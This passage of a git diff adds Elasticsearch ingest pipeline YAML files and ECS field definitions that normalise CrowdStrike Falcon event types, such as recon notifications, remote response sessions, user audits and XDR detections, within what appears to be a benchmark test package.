+      if: 'ctx.crowdstrike?.event?.ContextTimeStamp != null && String.valueOf(ctx.crowdstrike.event.ContextTimeStamp).length() >= 12'
+  - rename:
+      field: crowdstrike.event.MobileDetectionId
+      target_field: event.id
+      ignore_missing: true
+      tag: rename_mobile_detect_id
+  - convert:
+      field: event.id
+      type: string
+      ignore_missing: true
+      tag: convert_event_id_to_string
+  - rename:
+      field: crowdstrike.event.DetectId
+      target_field: rule.id
+      ignore_missing: true
+      tag: rename_detect_id
+  - rename:
+      field: crowdstrike.event.DetectName
+      target_field: rule.name
+      ignore_missing: true
+      tag: rename_detect_name
+  - rename:
+      field: crowdstrike.event.DetectDescription
+      target_field: rule.description
+      ignore_missing: true
+      tag: rename_detect_description
+# Threat fields: the default pipeline sets threat.framework from the threat.* fields.
+  - append:
+      field: threat.technique.name
+      value: "{{{crowdstrike.event.Technique}}}"
+      tag: append_technique_name
+      if: ctx.crowdstrike?.event?.Technique != null
+  - append:
+      field: threat.technique.id
+      value: "{{{crowdstrike.event.TechniqueId}}}"
+      tag: append_technique_id
+      if: ctx.crowdstrike?.event?.TechniqueId != null
+  - append:
+      field: threat.tactic.name
+      value: "{{{crowdstrike.event.Tactic}}}"
+      tag: append_tactic_name
+      if: ctx.crowdstrike?.event?.Tactic != null
+  - append:
+      field: threat.tactic.id
+      value: "{{{crowdstrike.event.TacticId}}}"
+      tag: append_tactic_id
+      if: ctx.crowdstrike?.event?.TacticId != null
+  - rename:
+      field: crowdstrike.event.ComputerName
+      target_field: host.name
+      ignore_missing: true
+      tag: rename_computer_name
+  - rename:
+      field: crowdstrike.event.UserName
+      target_field: user.name
+      ignore_missing: true
+      tag: rename_user_name
+  - rename:
+      field: crowdstrike.event.FalconHostLink
+      target_field: event.reference
+      ignore_missing: true
+      tag: rename_falcon_host_link
+  - rename:
+      field: crowdstrike.event.SensorId
+      target_field: device.id
+      ignore_missing: true
+      tag: rename_sensor_id
+  - rename:
+      field: crowdstrike.event.ProcessId
+      target_field: process.pid
+      ignore_missing: true
+      tag: rename_process_id
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/recon_notification_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/recon_notification_summary.yml
new file mode 100644
index 0000000000..a36073c600
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/recon_notification_summary.yml
@@ -0,0 +1,94 @@
+---
+processors:
+  - set:
+      tag: set_event_kind_de80643c
+      field: event.kind
+      value: event
+  - append:
+      field: event.category
+      value: threat
+      tag: append_threat_category
+  - append:
+      field: event.type
+      value: indicator
+      tag: append_indicator_type
+  - set:
+      tag: set_event_action_8e0d2082
+      field: event.action
+      value: recon-notification
+      if: ctx.crowdstrike?.event?.ItemType == null
+  - set:
+      tag: set_event_action_d066e9f9
+      field: event.action
+      value: "recon-notification-{{{crowdstrike.event.ItemType}}}"
+      if: ctx.crowdstrike?.event?.ItemType != null
+  - rename:
+      field: crowdstrike.event.ItemId
+      target_field: event.id
+      ignore_missing: true
+      tag: rename_item_id
+  - rename:
+      field: crowdstrike.event.RuleId
+      target_field: rule.id
+      ignore_missing: true
+      tag: rename_rule_id
+  - rename:
+      field: crowdstrike.event.RuleName
+      target_field: rule.name
+      ignore_missing: true
+      tag: rename_rule_name
+  - set:
+      field: rule.ruleset
+      copy_from: crowdstrike.event.RuleTopic
+      ignore_empty_value: true
+      tag: set_rule_ruleset
+  - rename:
+      field: crowdstrike.event.RuleTopic
+      target_field: rule.description
+      ignore_missing: true
+      tag: rename_rule_topic
+  - date:
+      field: crowdstrike.event.MatchedTimestamp
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_matched_timestamp_ms
+      if: "ctx.crowdstrike?.event?.MatchedTimestamp != null && String.valueOf(ctx.crowdstrike.event.MatchedTimestamp).length() >= 12"
+  - date:
+      field: crowdstrike.event.MatchedTimestamp
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_matched_timestamp
+      if: 'ctx.crowdstrike?.event?.MatchedTimestamp != null && String.valueOf(ctx.crowdstrike.event.MatchedTimestamp).length() <= 11'
+  - date:
+      field: crowdstrike.event.ItemPostedTimestamp
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_item_posted_timestamp_ms
+      if: "ctx.crowdstrike?.event?.ItemPostedTimestamp != null && String.valueOf(ctx.crowdstrike.event.ItemPostedTimestamp).length() >= 12"
+  - date:
+      field: crowdstrike.event.ItemPostedTimestamp
+      target_field: event.created
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_item_posted_timestamp
+      if: 'ctx.crowdstrike?.event?.ItemPostedTimestamp != null && String.valueOf(ctx.crowdstrike.event.ItemPostedTimestamp).length() <= 11'
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_end.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_end.yml
new file mode 100644
index 0000000000..4c0a4df96a
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_end.yml
@@ -0,0 +1,71 @@
+---
+processors:
+  - set:
+      tag: set_event_kind_de80643c
+      field: event.kind
+      value: event
+  - append:
+      field: event.category
+      value:
+        - network
+        - session
+      tag: append_network_category
+  - append:
+      field: event.action
+      value: remote_response_session_end_event
+      tag: append_remote_action
+  - append:
+      field: event.type
+      value: end
+      tag: append_end_type
+  - grok:
+      tag: grok_crowdstrike_event_UserName_6c9dafb5
+      field: crowdstrike.event.UserName
+      patterns:
+        - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}'
+        - '%{GREEDYDATA:user.name}'
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      field: user.email
+      copy_from: crowdstrike.event.UserName
+      tag: copy_user_email
+      if: ctx.crowdstrike?.event?.UserName != null && ctx.crowdstrike.event.UserName.indexOf("@") > 0
+  - date:
+      field: crowdstrike.event.EndTimestamp
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_end_timestamp_ms
+      if: 'ctx.crowdstrike?.event?.EndTimestamp != null && String.valueOf(ctx.crowdstrike.event.EndTimestamp).length() >= 12'
+  - date:
+      field: crowdstrike.event.EndTimestamp
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_end_timestamp
+      if: 'ctx.crowdstrike?.event?.EndTimestamp != null && String.valueOf(ctx.crowdstrike.event.EndTimestamp).length() <= 11'
+  - set:
+      field: message
+      value: Remote response session ended.
+      tag: set_message
+  - rename:
+      field: crowdstrike.event.HostnameField
+      target_field: host.name
+      ignore_missing: true
+      tag: rename_hostname_field
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_start.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_start.yml
new file mode 100644
index 0000000000..b591a61638
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/remote_response_session_start.yml
@@ -0,0 +1,71 @@
+---
+processors:
+  - set:
+      tag: set_event_kind_de80643c
+      field: event.kind
+      value: event
+  - append:
+      field: event.category
+      value:
+        - network
+        - session
+      tag: append_network_category
+  - append:
+      field: event.action
+      value: remote_response_session_start_event
+      tag: append_remote_action
+  - append:
+      field: event.type
+      value: start
+      tag: append_start_type
+  - grok:
+      tag: grok_crowdstrike_event_UserName_6c9dafb5
+      field: crowdstrike.event.UserName
+      patterns:
+        - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}'
+        - '%{GREEDYDATA:user.name}'
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      field: user.email
+      copy_from: crowdstrike.event.UserName
+      tag: copy_user_email
+      if: ctx.crowdstrike?.event?.UserName != null && ctx.crowdstrike.event.UserName.indexOf("@") > 0
+  - date:
+      field: crowdstrike.event.StartTimestamp
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_start_timestamp_ms
+      if: 'ctx.crowdstrike?.event?.StartTimestamp != null && String.valueOf(ctx.crowdstrike.event.StartTimestamp).length() >= 12'
+  - date:
+      field: crowdstrike.event.StartTimestamp
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_start_timestamp
+      if: 'ctx.crowdstrike?.event?.StartTimestamp != null && String.valueOf(ctx.crowdstrike.event.StartTimestamp).length() <= 11'
+  - set:
+      field: message
+      value: Remote response session started.
+      tag: set_message
+  - rename:
+      field: crowdstrike.event.HostnameField
+      target_field: host.name
+      ignore_missing: true
+      tag: rename_hostname_field
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/scheduled_report_notification_event.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/scheduled_report_notification_event.yml
new file mode 100644
index 0000000000..ac3756a62a
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/scheduled_report_notification_event.yml
@@ -0,0 +1,70 @@
+---
+description: Pipeline for processing Scheduled Report Notification Event.
+processors:
+  - set:
+      tag: set_event_kind_de80643c
+      field: event.kind
+      value: event
+  - date:
+      field: crowdstrike.event.ExecutionMetadata.ExecutionStart
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_execution_start_ms
+      if: 'ctx.crowdstrike?.event?.ExecutionMetadata?.ExecutionStart != null && String.valueOf(ctx.crowdstrike.event.ExecutionMetadata.ExecutionStart).length() >= 12'
+  - date:
+      field: crowdstrike.event.ExecutionMetadata.SearchWindowStart
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_search_window_start_ms
+      if: 'ctx.crowdstrike?.event?.ExecutionMetadata?.SearchWindowStart != null && String.valueOf(ctx.crowdstrike.event.ExecutionMetadata.SearchWindowStart).length() >= 12'
+  - date:
+      field: crowdstrike.event.ExecutionMetadata.SearchWindowEnd
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_search_window_end_ms
+      if: 'ctx.crowdstrike?.event?.ExecutionMetadata?.SearchWindowEnd != null && String.valueOf(ctx.crowdstrike.event.ExecutionMetadata.SearchWindowEnd).length() >= 12'
+  - convert:
+      field: crowdstrike.event.ExecutionMetadata.ExecutionDuration
+      type: long
+      tag: convert_ExecutionDuration
+      ignore_missing: true
+  - convert:
+      field: crowdstrike.event.ExecutionMetadata.ResultCount
+      type: long
+      tag: convert_ResultCount
+      ignore_missing: true
+  - rename:
+      field: crowdstrike.event.UserID
+      target_field: user.id
+      ignore_missing: true
+      tag: rename_userID
+  - dissect:
+      if: ctx.user?.id != null && ctx.user.id.contains('@')
+      tag: dissect_user_id
+      field: user.id
+      pattern: '%{user.name}@%{user.domain}'
+  - set:
+      field: user.email
+      copy_from: user.id
+      tag: copy_user_email
+      if: ctx.user?.id != null && ctx.user.id.indexOf("@") > 0
+  - convert:
+      field: crowdstrike.event.Status
+      type: string
+      tag: convert_Status
+      ignore_missing: true
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/user_activity_audit.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/user_activity_audit.yml
new file mode 100644
index 0000000000..ff113aa1ea
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/user_activity_audit.yml
@@ -0,0 +1,55 @@
+---
+processors:
+  - set:
+      tag: set_event_kind_de80643c
+      field: event.kind
+      value: event
+  - append:
+      field: event.category
+      value: iam
+      tag: append_iam_category
+  - append:
+      field: event.type
+      value: change
+      tag: append_change_type
+  - set:
+      field: event.action
+      value: user_activity_audit_event
+      tag: set_user_activity_audit_event
+  - grok:
+      tag: grok_crowdstrike_event_UserId_70ae09b7
+      field: crowdstrike.event.UserId
+      patterns:
+        - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}'
+        - '%{GREEDYDATA:user.name}'
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      field: user.email
+      copy_from: crowdstrike.event.UserId
+      tag: copy_user_email
+      if: ctx.crowdstrike?.event?.UserId != null && ctx.crowdstrike.event.UserId.indexOf("@") > 0
+  - rename:
+      field: crowdstrike.event.OperationName
+      target_field: message
+      ignore_missing: true
+      tag: rename_operation_name
+  - rename:
+      field: crowdstrike.event.UserIp
+      target_field: source.ip
+      ignore_missing: true
+      tag: rename_user_ip
+      if: ctx.crowdstrike?.event?.UserIp != null && ctx.crowdstrike?.event?.UserIp != ""
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/xdr_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/xdr_detection_summary.yml
new file mode 100644
index 0000000000..4475e1377b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/xdr_detection_summary.yml
@@ -0,0 +1,243 @@
+---
+processors:
+  - set:
+      field: event.kind
+      value: alert
+      tag: set_event_kind
+  - append:
+      field: event.category
+      value: malware
+      tag: append_malware_category
+  - append:
+      field: event.type
+      value: info
+      tag: append_info_type
+  - set:
+      tag: set_event_action_2bbdf18c
+      field: event.action
+      value: xdr-detection
+  - append:
+      field: rule.author
+      value: "{{{crowdstrike.event.Author}}}"
+      tag: append_author
+      if: ctx.crowdstrike?.event?.Author != null
+  - rename:
+      tag: rename_crowdstrike_event_Name_to_rule_name_fcf360bf
+      field: crowdstrike.event.Name
+      target_field: rule.name
+      ignore_missing: true
+  - rename:
+      field: crowdstrike.event.DetectId
+      target_field: rule.id
+      ignore_missing: true
+      tag: rename_detect_id
+  - convert:
+      field: crowdstrike.event.PatternId
+      target_field: rule.uuid
+      type: string
+      tag: convert_pattern_id
+      ignore_missing: true
+  - rename:
+      field: crowdstrike.event.Description
+      target_field: message
+      ignore_missing: true
+      tag: rename_description
+  - split:
+      field: crowdstrike.event.DataDomains
+      separator: ","
+      tag: split_data_domains
+      if: ctx.crowdstrike?.event?.DataDomains != null && ctx.crowdstrike?.event?.DataDomains.contains(",")
+  - split:
+      field: crowdstrike.event.EmailAddresses
+      separator: ","
+      tag: split_email_addresses
+      if: ctx.crowdstrike?.event?.EmailAddresses != null && ctx.crowdstrike?.event?.EmailAddresses.contains(",")
+  - split:
+      field: crowdstrike.event.IPV4Addresses
+      separator: ","
+      target_field: related.ip
+      tag: split_ipv4_addresses
+      if: ctx.crowdstrike?.event?.IPV4Addresses != null && ctx.crowdstrike?.event?.IPV4Addresses.contains(",")
+  - append:
+      field: related.ip
+      value: "{{{crowdstrike.event.IPV4Addresses}}}"
+      allow_duplicates: false
+      tag: append_ipv4_addresses
+      if: ctx.crowdstrike?.event?.IPV4Addresses != null && !ctx.crowdstrike?.event?.IPV4Addresses.contains(",")
+  - split:
+      field: crowdstrike.event.IPV6Addresses
+      separator: ","
+      target_field: related.ip
+      tag: split_ipv6_addresses
+      if: ctx.crowdstrike?.event?.IPV6Addresses != null && ctx.crowdstrike?.event?.IPV6Addresses.contains(",")
+  - append:
+      field: related.ip
+      value: "{{{crowdstrike.event.IPV6Addresses}}}"
+      allow_duplicates: false
+      tag: append_ipv6_addresses
+      if: ctx.crowdstrike?.event?.IPV6Addresses != null && !ctx.crowdstrike?.event?.IPV6Addresses.contains(",")
+  - split:
+      field: crowdstrike.event.HostNames
+      separator: ","
+      target_field: related.hosts
+      tag: split_host_names
+      if: ctx.crowdstrike?.event?.HostNames != null && ctx.crowdstrike?.event?.HostNames.contains(",")
+  - append:
+      field: related.hosts
+      value: "{{{crowdstrike.event.HostNames}}}"
+      allow_duplicates: false
+      tag: append_host_names
+      if: ctx.crowdstrike?.event?.HostNames != null && !ctx.crowdstrike?.event?.HostNames.contains(",")
+  - split:
+      field: crowdstrike.event.DomainNames
+      separator: ","
+      target_field: related.hosts
+      tag: split_domain_names
+      if: ctx.crowdstrike?.event?.DomainNames != null && ctx.crowdstrike?.event?.DomainNames.contains(",")
+  - append:
+      field: related.hosts
+      value: "{{{crowdstrike.event.DomainNames}}}"
+      allow_duplicates: false
+      tag: append_domain_names
+      if: ctx.crowdstrike?.event?.DomainNames != null && !ctx.crowdstrike?.event?.DomainNames.contains(",")
+  - split:
+      field: crowdstrike.event.SHA256Hashes
+      separator: ","
+      target_field: related.hash
+      tag: split_sha256_hashes
+      if: ctx.crowdstrike?.event?.SHA256Hashes != null && ctx.crowdstrike?.event?.SHA256Hashes.contains(",")
+  - append:
+      field: related.hash
+      value: "{{{crowdstrike.event.SHA256Hashes}}}"
+      allow_duplicates: false
+      tag: append_sha256_hashes
+      if: ctx.crowdstrike?.event?.SHA256Hashes != null && !ctx.crowdstrike?.event?.SHA256Hashes.contains(",")
+  - split:
+      field: crowdstrike.event.MD5Hashes
+      separator: ","
+      target_field: related.hash
+      tag: split_md5_hashes
+      if: ctx.crowdstrike?.event?.MD5Hashes != null && ctx.crowdstrike?.event?.MD5Hashes.contains(",")
+  - append:
+      field: related.hash
+      value: "{{{crowdstrike.event.MD5Hashes}}}"
+      allow_duplicates: false
+      tag: append_md5_hashes
+      if: ctx.crowdstrike?.event?.MD5Hashes != null && !ctx.crowdstrike?.event?.MD5Hashes.contains(",")
+  - split:
+      field: crowdstrike.event.Users
+      separator: ","
+      target_field: related.user
+      tag: split_users
+      if: ctx.crowdstrike?.event?.Users != null && ctx.crowdstrike?.event?.Users.contains(",")
+  - append:
+      field: related.user
+      value: "{{{crowdstrike.event.Users}}}"
+      allow_duplicates: false
+      tag: append_users
+      if: ctx.crowdstrike?.event?.Users != null && !ctx.crowdstrike?.event?.Users.contains(",")
+  - set:
+      field: rule.description
+      copy_from: message
+      tag: set_rule_description
+      if: ctx.message != null
+  - convert:
+      field: crowdstrike.event.StartTimeEpoch
+      type: string
+      tag: convert_start_time_epoch
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.StartTimeEpoch != null
+  - gsub:
+      field: crowdstrike.event.StartTimeEpoch
+      pattern: "\\d{6}$"
+      replacement: ""
+      tag: gsub_start_time_epoch
+      if: "ctx.crowdstrike?.event?.StartTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.StartTimeEpoch).length() > 18"
+  - date:
+      field: crowdstrike.event.StartTimeEpoch
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_start_time_epoch_ms
+      if: "ctx.crowdstrike?.event?.StartTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.StartTimeEpoch).length() >= 12"
+  - date:
+      field: crowdstrike.event.StartTimeEpoch
+      target_field: event.start
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_start_time_epoch
+      if: 'ctx.crowdstrike?.event?.StartTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.StartTimeEpoch).length() <= 11'
+  - set:
+      field: '@timestamp'
+      copy_from: event.start
+      tag: copy_timestamp_from_event_start
+      if: ctx.event?.start != null
+  - convert:
+      field: crowdstrike.event.EndTimeEpoch
+      type: string
+      tag: convert_end_time_epoch
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.EndTimeEpoch != null
+  - gsub:
+      field: crowdstrike.event.EndTimeEpoch
+      pattern: "\\d{6}$"
+      replacement: ""
+      tag: gsub_end_time_epoch
+      if: "ctx.crowdstrike?.event?.EndTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.EndTimeEpoch).length() > 18"
+  - date:
+      field: crowdstrike.event.EndTimeEpoch
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_end_time_epoch_ms
+      if: "ctx.crowdstrike?.event?.EndTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.EndTimeEpoch).length() >= 12"
+  - date:
+      field: crowdstrike.event.EndTimeEpoch
+      target_field: event.end
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_end_time_epoch
+      if: "ctx.crowdstrike?.event?.EndTimeEpoch != null && String.valueOf(ctx.crowdstrike.event.EndTimeEpoch).length() <= 11"
+
+# Threat fields: the default pipeline sets threat.framework from the threat.* fields.
+  - split:
+      field: crowdstrike.event.Techniques
+      separator: ","
+      target_field: threat.technique.name
+      tag: split_techniques
+      if: ctx.crowdstrike?.event?.Techniques != null
+  - split:
+      field: crowdstrike.event.TechniqueIds
+      separator: ","
+      target_field: threat.technique.id
+      tag: split_technique_ids
+      if: ctx.crowdstrike?.event?.TechniqueIds != null
+  - split:
+      field: crowdstrike.event.Tactics
+      separator: ","
+      target_field: threat.tactic.name
+      tag: split_tactics
+      if: ctx.crowdstrike?.event?.Tactics != null
+  - split:
+      field: crowdstrike.event.TacticIds
+      separator: ","
+      target_field: threat.tactic.id
+      tag: split_tactic_ids
+      if: ctx.crowdstrike?.event?.TacticIds != null
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/agent.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/agent.yml
new file mode 100644
index 0000000000..2bc58530ba
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/agent.yml
@@ -0,0 +1,33 @@
+- name: cloud
+  title: Cloud
+  group: 2
+  description: Fields related to the cloud or infrastructure the events are coming from.
+  footnote: 'Examples: If Metricbeat is running on an EC2 host and fetches data from its host, the cloud info contains the data about this machine. If Metricbeat runs on a remote machine outside the cloud and fetches data from a service running in the cloud, the field contains cloud data from the machine the service is running on.'
+  type: group
+  fields:
+    - name: image.id
+      type: keyword
+      description: Image ID for the cloud instance.
+- name: host
+  title: Host
+  group: 2
+  description: 'A host is defined as a general computing instance.  ECS host.* fields should be populated with details about the host on which the event happened, or from which the measurement was taken. Host types include hardware, virtual machines, Docker containers, and Kubernetes nodes.'
+  type: group
+  fields:
+    - name: containerized
+      type: boolean
+      description: >
+        If the host is a container.
+
+    - name: os.build
+      type: keyword
+      example: "18D109"
+      description: >
+        OS build information.
+
+    - name: os.codename
+      type: keyword
+      example: "stretch"
+      description: >
+        OS codename, if any.
+
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/base-fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/base-fields.yml
new file mode 100644
index 0000000000..8248c071b3
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/base-fields.yml
@@ -0,0 +1,20 @@
+- name: data_stream.type
+  type: constant_keyword
+  description: Data stream type.
+- name: data_stream.dataset
+  type: constant_keyword
+  description: Data stream dataset name.
+- name: data_stream.namespace
+  type: constant_keyword
+  description: Data stream namespace.
+- name: event.module
+  type: constant_keyword
+  description: Event module
+  value: crowdstrike
+- name: event.dataset
+  type: constant_keyword
+  description: Event dataset
+  value: crowdstrike.falcon
+- name: "@timestamp"
+  type: date
+  description: Event timestamp.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/beats.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/beats.yml
new file mode 100644
index 0000000000..9619025555
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/beats.yml
@@ -0,0 +1,9 @@
+- name: input.type
+  type: keyword
+  description: Type of Filebeat input.
+- name: log.flags
+  type: keyword
+  description: Flags for the log file.
+- name: log.offset
+  type: long
+  description: Offset of the entry in the log file.
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/ecs.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/ecs.yml
new file mode 100644
index 0000000000..9c20c2129f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/fields/ecs.yml
@@ -0,0 +1,167 @@
+# Remove this file when kibana.version satisfied ^8.14.
+- name: message
+  external: ecs
+- name: ecs.version
+  external: ecs
+- name: event.code
+  external: ecs
+- name: event.kind
+  external: ecs
+- name: event.category
+  external: ecs
+- name: event.type
+  external: ecs
+- name: event.action
+  external: ecs
+- name: event.original
+  external: ecs
+- name: event.ingested
+  external: ecs
+- name: event.created
+  external: ecs
+- name: event.outcome
+  external: ecs
+- name: event.url
+  external: ecs
+- name: event.severity
+  external: ecs
+- name: event.start
+  external: ecs
+- name: event.end
+  external: ecs
+- name: user.id
+  external: ecs
+- name: user.name
+  external: ecs
+- name: user.domain
+  external: ecs
+- name: user.email
+  external: ecs
+- name: threat.technique.name
+  external: ecs
+- name: threat.technique.id
+  external: ecs
+- name: threat.tactic.name
+  external: ecs
+- name: threat.tactic.id
+  external: ecs
+- name: threat.framework
+  external: ecs
+- name: process.pid
+  external: ecs
+- name: process.start
+  external: ecs
+- name: process.end
+  external: ecs
+- name: process.name
+  external: ecs
+- name: process.command_line
+  external: ecs
+- name: process.args
+  external: ecs
+- name: process.executable
+  external: ecs
+- name: process.parent.executable
+  external: ecs
+- name: process.parent.pid
+  external: ecs
+- name: process.parent.command_line
+  external: ecs
+- name: process.parent.args
+  external: ecs
+- name: device.id
+  external: ecs
+- name: agent.name
+  external: ecs
+- name: agent.id
+  external: ecs
+- name: agent.type
+  external: ecs
+- name: agent.version
+  external: ecs
+- name: source.ip
+  external: ecs
+- name: source.port
+  external: ecs
+- name: destination.ip
+  external: ecs
+- name: destination.port
+  external: ecs
+- name: file.hash.sha1
+  external: ecs
+- name: file.hash.sha256
+  external: ecs
+- name: file.hash.md5
+  external: ecs
+- name: file.path
+  external: ecs
+- name: rule.author
+  external: ecs
+- name: rule.id
+  external: ecs
+- name: rule.uuid
+  external: ecs
+- name: rule.name
+  external: ecs
+- name: rule.description
+  external: ecs
+- name: error.message
+  external: ecs
+- name: rule.ruleset
+  external: ecs
+- name: rule.category
+  external: ecs
+- name: network.direction
+  external: ecs
+- name: network.type
+  external: ecs
+- name: related.ip
+  external: ecs
+- name: related.user
+  external: ecs
+- name: related.hosts
+  external: ecs
+- name: related.hash
+  external: ecs
+- name: tags
+  external: ecs
+- name: observer.vendor
+  external: ecs
+- name: observer.product
+  external: ecs
+- name: source.as.number
+  external: ecs
+- name: source.as.organization.name
+  external: ecs
+- name: source.geo.city_name
+  external: ecs
+- name: source.geo.continent_name
+  external: ecs
+- name: source.geo.country_iso_code
+  external: ecs
+- name: source.geo.country_name
+  external: ecs
+- name: source.geo.location
+  external: ecs
+- name: source.geo.region_iso_code
